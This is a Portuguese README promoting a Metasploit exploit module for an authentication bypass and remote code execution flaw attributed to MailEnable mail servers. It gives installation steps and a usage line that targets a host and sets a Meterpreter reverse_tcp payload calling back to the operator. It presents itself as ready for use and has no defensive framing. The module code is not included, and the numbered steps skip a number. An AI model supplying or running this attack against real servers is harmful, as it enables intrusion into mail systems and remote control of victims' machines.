Módulo de Exploit para MailEnable CVE-2022-36934

Módulo do Metasploit para a vulnerabilidade de bypass de autenticação do MailEnable (CVE-2022-36934), que leva à execução remota de código.

📌 Recursos

• Explora a sanitização inadequada de entrada do MailEnable em SMTP/POP3
• Suporta alvos Windows x86 e x64
• Nenhuma interação do usuário necessária (acionamento automático via e-mail forjado)
• Funciona contra versões do MailEnable < 10.40

🚀 Instalação

1. Copie para o diretório de módulos do Metasploit:
   root@kitploit:~

   cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
   
   

2. Recarregue os módulos no msfconsole:

reload_all

4. Uso:

use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

🎯 Testado em:

MailEnable Professional 10.25 Windows Server 2019 MailEnable Enterprise 10.30 Windows Server 2016